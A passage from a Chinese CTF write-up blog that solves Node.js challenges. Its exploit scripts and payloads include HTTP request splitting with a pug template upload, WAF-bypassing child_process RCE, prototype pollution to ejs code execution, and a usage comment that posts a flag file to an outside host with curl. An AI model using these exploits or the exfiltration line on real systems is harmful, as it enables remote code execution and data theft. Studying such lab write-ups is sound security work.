keyword">var</span> server <span class="token operator">=</span> app<span class="token punctuation">.</span><span class="token function">listen</span><span class="token punctuation">(</span><span class="token number">8081</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">var</span> host <span class="token operator">=</span> server<span class="token punctuation">.</span><span class="token function">address</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>address    <span class="token keyword">var</span> port <span class="token operator">=</span> server<span class="token punctuation">.</span><span class="token function">address</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>port    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Example app listening at http://%s:%s"</span><span class="token punctuation">,</span> host<span class="token punctuation">,</span> port<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span></code></pre><p>先看代码逻辑，<code>express</code>框架写的，路由交给<code>express</code>处理</p><p>根路由<code>/</code>，接收一个<code>action</code>参数，不允许出现<code>/</code>和<code>\\</code>（反斜杠），<code>path</code>拼接使用<code>pug</code> 引擎渲染模板到前端</p><p><code>/file_upload</code>，很明显文件上传，但是需要<code>ip.includes(&#39;127.0.0.1&#39;)</code>，<code>ip</code>由<code>req.connection.remoteAddress</code>获取，我们知道<code>remoteAddress</code>这种<code>http</code>是无法伪造的，所以必须得是本地请求才可以上传文件，可能涉及<code>SSRF</code>，<code>file_path</code>由<code>mimetype</code>直接拼接，未做任何校验，可以路径穿越上传任意文件，这里先放着</p><p><code>/source</code>，源码获取</p><p><code>/core</code>，接收一个<code>q</code>，访问本地8081端口的资源，放到<code>/source</code>后面，然后会显示访问的结果，这里估计就是<code>SSRF</code>的点了</p><p>逻辑分析完，根据题目提示，node版本，估计是node的洞，网上查了一下，这个版本的 Node 的 http 模块涉及一个拆分攻击漏洞，这个问题是由Node.js将HTTP请求写入路径时对unicode字符的有损编码引起的。</p><p>详见：<a href="https://xz.aliyun.com/t/2894">https://xz.aliyun.com/t/2894</a></p><p>于是我们可以构造恶意请求</p><p>原始请求头：</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token request-line"><span class="token method property">GET</span> <span class="token request-target url">/source?q=x</span> <span class="token http-version property">HTTP/1.1</span></span></code></pre><p>插入文件上传请求头：</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token request-line"><span class="token method property">GET</span> <span class="token request-target url">/source?q=x</span> <span class="token http-version property">HTTP/1.1</span></span><span class="token request-line"><span class="token method property">POST</span> <span class="token request-target url">/file_upload</span> <span class="token http-version property">HTTP/1.1</span></span><span class="token header"><span class="token header-name keyword">Host</span><span class="token punctuation">:</span> <span class="token header-value">localhost:8081</span></span>xxx文件内容</code></pre><p>文件内容根据<code>pug</code>引擎手册来写： <a href="https://pugjs.org/zh-cn/language/includes.html">https://pugjs.org/zh-cn/language/includes.html</a></p><p>读flag的话包含flag文件即可，格式如下</p><pre class="language-none"><code class="language-none">doctype htmlhtml  head    style      include ..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;flag.txt</code></pre><p><code>Content-Type: /../template</code>，写pug到template目录下</p><p><code>Connection: Keep-Alive</code>，表明客户端想要保持该网络连接打开，<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Connection">Connection</a></p><p>Exp：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> urllib<span class="token punctuation">.</span>parse<span class="token keyword">import</span> requestspayload <span class="token operator">=</span> <span class="token triple-quoted-string string">'''x HTTP/1.1Host: xConnection: keep-alivePOST /file_upload HTTP/1.1Host: xContent-Type: multipart/form-data; boundary=--------------------------123Connection: keep-alivecache-control: no-cacheContent-Length: 253----------------------------123Content-Disposition: form-data; name="file"; filename="extrader.pug"Content-Type: ../templatedoctype htmlhtml  head    style      include ../../../../../../../flag.txt----------------------------123--GET /flag HTTP/1.1Host: xConnection: closex:'''</span>payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"\n"</span><span class="token punctuation">,</span> <span class="token string">"\r\n"</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span><span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token builtin">int</span><span class="token punctuation">(</span><span class="token string">'0xff'</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">.</span>zfill<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">for</span> c <span class="token keyword">in</span> payload<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'http://8a307357-1cde-471d-b257-70794a7efa58.node4.buuoj.cn:81/core?q='</span> <span class="token operator">+</span> urllib<span class="token punctuation">.</span>parse<span class="token punctuation">.</span>quote<span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>text<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'http://8a307357-1cde-471d-b257-70794a7efa58.node4.buuoj.cn:81/?action=extrader'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>text<span class="token punctuation">)</span></code></pre><p>但如果我们想嵌入代码RCE呢？</p><p>还是根据文档来：<a href="https://pugjs.org/zh-cn/language/code.html">https://pugjs.org/zh-cn/language/code.html</a></p><pre class="language-none"><code class="language-none">- global.process.mainModule.require(&#39;child_process&#39;).execSync(&#39;evalcmd&#39;)</code></pre><p>但是这里有个<code>blacklist</code></p><p>字符串拼接绕过：</p><pre class="language-none"><code class="language-none">- eval(&quot;glob&quot;+&quot;al.proce&quot;+&quot;ss.mainMo&quot;+&quot;dule.re&quot;+&quot;quire(&#39;child_&#39;+&#39;pro&#39;+&#39;cess&#39;)[&#39;ex&#39;+&#39;ecSync&#39;](&#39;whoami&#39;).toString()&quot;)</code></pre><p>对参数URL编码绕过：<a href="https://blog.5am3.com/2020/02/11/ctf-node1/#%E8%87%AA%E5%B7%B1%E5%87%BA%E7%9A%84-node-gamev">https://blog.5am3.com/2020/02/11/ctf-node1/#自己出的-node-gamev</a></p><p>Exp：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> requests<span class="token keyword">import</span> syspayloadRaw <span class="token operator">=</span> <span class="token triple-quoted-string string">"""x HTTP/1.1POST /file_upload HTTP/1.1Host: localhost:8081User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942Content-Length: 6279Origin: http://localhost:8081Connection: closeReferer: http://localhost:8081/?action=uploadUpgrade-Insecure-Requests: 1-----------------------------12837266501973088788260782942Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"Content-Type: ../template- global.process.mainModule.require('child_process').execSync('evalcmd')-----------------------------12837266501973088788260782942--"""</span><span class="token keyword">def</span> <span class="token function">getParm</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token punctuation">:</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">,</span><span class="token string">"%C4%A0"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"\n"</span><span class="token punctuation">,</span><span class="token string">"%C4%8D%C4%8A"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"\""</span><span class="token punctuation">,</span><span class="token string">"%C4%A2"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"'"</span><span class="token punctuation">,</span><span class="token string">"%C4%A7"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"`"</span><span class="token punctuation">,</span><span class="token string">"%C5%A0"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"!"</span><span class="token punctuation">,</span><span class="token string">"%C4%A1"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"+"</span><span class="token punctuation">,</span><span class="token string">"%2B"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">";"</span><span class="token punctuation">,</span><span class="token string">"%3B"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"&amp;"</span><span class="token punctuation">,</span><span class="token string">"%26"</span><span class="token punctuation">)</span>    <span class="token comment"># Bypass Waf </span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"global"</span><span class="token punctuation">,</span><span class="token string">"%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"process"</span><span class="token punctuation">,</span><span class="token string">"%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"mainModule"</span><span class="token punctuation">,</span><span class="token string">"%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"require"</span><span class="token punctuation">,</span><span class="token string">"%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"root"</span><span class="token punctuation">,</span><span class="token string">"%C5%B2%C5%AF%C5%AF%C5%B4"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"child_process"</span><span class="token punctuation">,</span><span class="token string">"%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3"</span><span class="token punctuation">)</span>    payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"exec"</span><span class="token punctuation">,</span><span class="token string">"%C5%A5%C5%B8%C5%A5%C5%A3"</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> payload<span class="token keyword">def</span> <span class="token function">run</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span>cmd<span class="token punctuation">)</span><span class="token punctuation">:</span>    payloadC <span class="token operator">=</span>  payloadRaw<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"evalcmd"</span><span class="token punctuation">,</span>cmd<span class="token punctuation">)</span>    urlC <span class="token operator">=</span> url<span class="token operator">+</span><span class="token string">"/core?q="</span><span class="token operator">+</span>getParm<span class="token punctuation">(</span>payloadC<span class="token punctuation">)</span>    requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>urlC<span class="token punctuation">)</span>        <span class="token keyword">return</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">+</span><span class="token string">"/?action=5am3_get_flag"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>text<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>    targetUrl <span class="token operator">=</span> sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>    cmd <span class="token operator">=</span> sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>run<span class="token punctuation">(</span>targetUrl<span class="token punctuation">,</span>cmd<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># python3 exp.py http://127.0.0.1:8081 "curl eval.com -X POST -d `cat /flag.txt`"</span></code></pre><h3 id="GYCTF2020-Ez-Express"><a href="#GYCTF2020-Ez-Express" class="headerlink" title="[GYCTF2020]Ez_Express"></a>[GYCTF2020]Ez_Express</h3><p>知识点：原型链污染，ejs模板引擎远程代码执行漏洞(CVE-2020-35772)</p><p>首页如下，访问<code>www.zip</code>可以得到一份代码</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%AE%B0%E5%87%A0%E9%81%93JavaScript%E9%A2%98/image-20210817142629288.png" alt loading="lazy"></p><p>目录结构如下（node_modules是我本地搭环境的时候npm install）</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%AE%B0%E5%87%A0%E9%81%93JavaScript%E9%A2%98/image-20210817153740381.png" alt loading="lazy"></p><p>我们主要看到<code>index.js</code>代码</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> express <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'express'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> router <span class="token operator">=</span> express<span class="token punctuation">.</span><span class="token function">Router</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token function-variable function">isObject</span> <span class="token operator">=</span> <span class="token parameter">obj</span> <span class="token operator">=></span> obj <span class="token operator">&amp;&amp;</span> obj<span class="token punctuation">.</span>constructor <span class="token operator">&amp;&amp;</span> obj<span class="token punctuation">.</span>constructor <span class="token operator">===</span> Object<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token function-variable function">merge</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> attr <span class="token keyword">in</span> b<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isObject</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span>attr<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">isObject</span><span class="token punctuation">(</span>b<span class="token punctuation">[</span>attr<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token function">merge</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span>attr<span class="token punctuation">]</span><span class="token punctuation">,</span> b<span class="token punctuation">[</span>attr<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>      a<span class="token punctuation">[</span>attr<span class="token punctuation">]</span> <span class="token operator">=</span> b<span class="token punctuation">[</span>attr<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> a<span class="token punctuation">&#125;</span><span class="token keyword">const</span> <span class="token function-variable function">clone</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">a</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token function">merge</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> a<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">safeKeyword</span><span class="token punctuation">(</span><span class="token parameter">keyword</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>keyword<span class="token punctuation">.</span><span class="token function">match</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">(admin)</span><span class="token regex-delimiter">/</span><span class="token regex-flags">is</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">return</span> keyword  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">&#125;</span>router<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    res<span class="token punctuation">.</span><span class="token function">redirect</span><span class="token punctuation">(</span><span class="token string">'/login'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  res<span class="token punctuation">.</span>outputFunctionName<span class="token operator">=</span><span class="token keyword">undefined</span><span class="token punctuation">;</span>  res<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token string">'index'</span><span class="token punctuation">,</span>data<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string-property property">'user'</span><span class="token operator">:</span>req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user<span class="token punctuation">.</span>user<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>router<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/login'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  res<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token string">'login'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>router<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">'/login'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>Submit<span class="token operator">==</span><span class="token string">"register"</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>   <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">safeKeyword</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>userid<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token string">"&lt;script>alert('forbid word');history.go(-1);&lt;/script>"</span><span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span>    req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user<span class="token operator">=</span><span class="token punctuation">&#123;</span>      <span class="token string-property property">'user'</span><span class="token operator">:</span>req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>userid<span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token string-property property">'passwd'</span><span class="token operator">:</span> req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>pwd<span class="token punctuation">,</span>      <span class="token string-property property">'isLogin'</span><span class="token operator">:</span><span class="token boolean">false</span>    <span class="token punctuation">&#125;</span>    res<span class="token punctuation">.</span><span class="token function">redirect</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token punctuation">&#125;</span>  <span class="token keyword">else</span> <span class="token keyword">if</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>Submit<span class="token operator">==</span><span class="token string">"login"</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token string">"&lt;script>alert('register first');history.go(-1);&lt;/script>"</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user<span class="token punctuation">.</span>user<span class="token operator">==</span>req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>userid<span class="token operator">&amp;&amp;</span>req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>pwd<span class="token operator">==</span>req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user<span class="token punctuation">.</span>passwd<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user<span class="token punctuation">.</span>isLogin<span class="token operator">=</span><span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">else</span><span class="token punctuation">&#123;</span>      res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token string">"&lt;script>alert('error passwd');history.go(-1);&lt;/script>"</span><span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  res<span class="token punctuation">.</span><span class="token function">redirect</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>router<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">'/action'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user<span class="token punctuation">.</span>user<span class="token operator">!=</span><span class="token string">"ADMIN"</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token string">"&lt;script>alert('ADMIN is asked');history.go(-1);&lt;/script>"</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span>   req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>user<span class="token punctuation">.</span>data <span class="token operator">=</span> <span class="token function">clone</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>body<span class="token punctuation">)</span><span class="token punctuation">;</span>  res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token string">"&lt;script>alert('success');history.go(-1);&lt;/script>"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>router<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/info'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  res<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token string">'index'</span><span class="token punctuation">,</span>data<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string-property property">'user'</span><span class="token operator">:</span>res<span class="token punctuation">.</span>outputFunctionName<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>module<span class="token punctuation">.</span>exports <span class="token operator">=</span> router<span class="token punctuation">;</span></code></pre><p>这里涉及的CVE可以看 <a href="https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/">Express+lodash+ejs: 从原型链污染到RCE</a>，然后再来看这个代码就知道如何利用了</p><p>明显的<code>clone-&gt;merge</code>原型链污染，代码逻辑比较简单，一个<code>login</code>，一个<code>register</code>，我们看到<code>clone</code>函数在哪里使用了，<code>action</code>这个路由，咋一看，好像是需要<code>user</code>是<code>ADMIN</code>才可以执行这个反序列化，但是这里注意看，这个<code>if</code>后的大括号，并没有包括下面两行代码，我有充分的理由怀疑出题人这里大括号位置搞错了，这样的话，ADMIN的限制也就不存在了，而且他这个<code>if</code>也没有<code>return</code>出去，代码还是会往下执行。</p><p>先随便注册一个用户，否则会报<code>Cannot read property &#39;user&#39; of undefined</code>错，因为需要<code>req.session.user.data = clone(req.body)</code></p><p>然后直接构造<code>payload</code>到<code>action</code>处发包</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token punctuation">&#123;</span><span class="token string">"__proto__"</span><span class="token punctuation">:</span><span class="token punctuation">&#123;</span><span class="token string">"outputFunctionName"</span><span class="token punctuation">:</span><span class="token string">"a; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>再访问首页触发<code>payload</code>，即可拿到flag</p><p>但是如果限制了登录呢？我们再来看代码逻辑</p><p><code>login</code>那里有个<code>safeKeyword</code>正则校验是否为admin，后面存入<code>session</code>的时候有一个<code>toUpperCase()</code>的操作，这里参考P🐮的 <a href="https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html">Fuzz中的javascript大小写特性</a></p><p>直接把原文搬过来了</p><blockquote><p>在javascript中有几个特殊的字符需要记录一下</p><p>对于toUpperCase():</p><pre class="language-none"><code class="language-none">字符&quot;ı&quot;、&quot;ſ&quot; 经过toUpperCase处理后结果为 &quot;I&quot;、&quot;S&quot;</code></pre><p>对于toLowerCase():</p><pre class="language-none"><code class="language-none">字符&quot;K&quot;经过toLowerCase处理后结果为&quot;k&quot;(这个K不是K)</code></pre><p>在绕一些规则的时候就可以利用这几个特殊字符进行绕过</p></blockquote><p>直接注册的时候把 admin 写成 adm<code>ı</code>n 即可绕过上面的限制了。后面思路还是一样。</p><h3 id="Code-Breaking-2018-Thejs"><a href="#Code-Breaking-2018-Thejs" class="headerlink" title="Code-Breaking 2018 Thejs"></a>Code-Breaking 2018 Thejs</h3><p>P🐮知识星球<a href="https://code-breaking.com/">两周年活动</a>，2018年的，我那时候还没加入。。。说多了都是泪。。有机会把几道题都玩玩</p><p>题目链接：<a href="https://code-breaking.com/puzzle/9/">https://code-breaking.com/puzzle/9/</a></p><p>这题主要涉及原型链的利用，利用方式不复杂，主要还是得找到关键点，得看懂代码</p><p>拿到题目源码，<code>npm install</code>把模块下一下，就可以用node跑了</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%AE%B0%E5%87%A0%E9%81%93JavaScript%E9%A2%98/image-20210816173013310.png" alt loading="lazy"></p><p>看到<code>server.js</code>源码</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> fs <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'fs'</span><span class="token punctuation">)</span><span class="token keyword">const</span> express <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'express'</span><span class="token punctuation">)</span><span class="token keyword">const</span> bodyParser <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'body-parser'</span><span class="token punctuation">)</span><span class="token keyword">const</span> lodash <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'lodash'</span><span class="token punctuation">)</span><span class="token keyword">const</span> session <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'express-session'</span><span class="token punctuation">)</span><span class="token keyword">const</span> randomize <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'randomatic'</span><span class="token punctuation">)</span><span class="token keyword">const</span> app <span class="token operator">=</span> <span class="token function">express</span><span class="token punctuation">(</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span>bodyParser<span class="token punctuation">.</span><span class="token function">urlencoded</span><span class="token 